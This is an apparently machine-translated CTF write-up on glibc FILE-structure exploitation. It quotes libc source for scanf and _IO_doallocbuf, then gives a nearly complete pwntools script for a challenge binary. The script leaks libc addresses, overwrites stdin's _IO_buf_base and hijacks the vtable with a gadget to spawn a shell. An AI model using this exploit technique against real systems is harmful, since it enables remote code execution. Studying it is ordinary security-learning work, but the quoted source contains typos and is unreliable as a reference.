# PWN IOfile simple record (1) PWN IO getc discussion When getc will make _IO_buf_base empty, go to _IO_doallocbuf when it is empty ``` scanf: if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } _IO_doallocbuf: void_IO_doallocbuf (_IO_FILE *fp){ if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return; if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function return; _ IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);} libc_hidden_def (_IO_doallocbuf) ``` _IO_doallocbuf: Then trigger vtable to complete any hijacking, this question has a backdoor ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function from pwn import * binary = './chall' elf = ELF(binary) libc = elf.libc io = process(binary, aslr = 1) #$io = remote('127.0.0.1', 30001) context.log_level = 'debug' context.arch = elf.arch myu64 = lambda x: u64(x.ljust(8, b'\x00')) ub_offset = 0x3c4b30 codebase = 0x555555554000 def menu(idx): # io.recvuntil('choice: ') io.sendline(str(idx)) sleep(0.3) def make(sz, d, idx=0): menu(1) io.recvuntil("size: ") io.sendline(str(sz)) io.recvuntil("data: ") io.sendline(d) io.recvuntil("idx: ") io.sendline(str(idx)) def free(idx): menu(4) io.recvuntil("idx: ") io.sendline(str(idx)) make(0x500, 'a') make(0x500, 'b', 1) free(0) make(0x500, '') io.recvuntil("your buf: ") libc_addr = myu64(io.recvn(6)) & ((1<<64) - 1 - 0xff) if libc_addr & 0xf000 != 0: sys.exit(1) stdin_addr = libc_addr - 0x160 libc_base = libc_addr - 0x219c00 print(hex(libc_addr)) print(hex(libc_base)) # lets overwrite the stdin->_IO_buf_base #gdb.attach(io, 'pie breakpoint 0x15396\nc\n') gdb.attach(io,"b _IO_doallocbuf\n") pause() menu(1) io.recvuntil("size: ") io.sendline(str(stdin_addr+0x38+2)) io.recvuntil("data: ") io.sendline('a') io.recvuntil("idx: ") # use scanf to send payload ptr_chk_guard_addr = libc_base - 0x2890 # this guy lies in the tls. not ld.so gadget = 0x406320 system = libc_base + 0x508f2 ''' scanf: if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } _IO_doallocbuf: void_IO_doallocbuf (_IO_FILE *fp){ if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return; if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function return; _ IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);} libc_hidden_def (_IO_doallocbuf) ''' fake_io = p32(0xfbad208b) + b';sh;' #fake_io += p64(ptr_chk_guard_addr) + p64(ptr_chk_guard_addr + 8) #fake_io += p64(ptr_chk_guard_addr + 8) #fake_io += p64(ptr_chk_guard_addr) * 4 #fake_io += p64(ptr_chk_guard_addr + 8) payload = b'\x00' * (0xa0-8-3) payload += p64(gadget) #vtable #payload += b'\x00' * 0x200 #payload = payload.ljust(0xa70, b'\x00') #payload += b'c' * 13 #+ fake_io #payload = b'\x00' * 0x10 io.sendline(payload) # io.recvuntil('choice: ') io.interactive() ```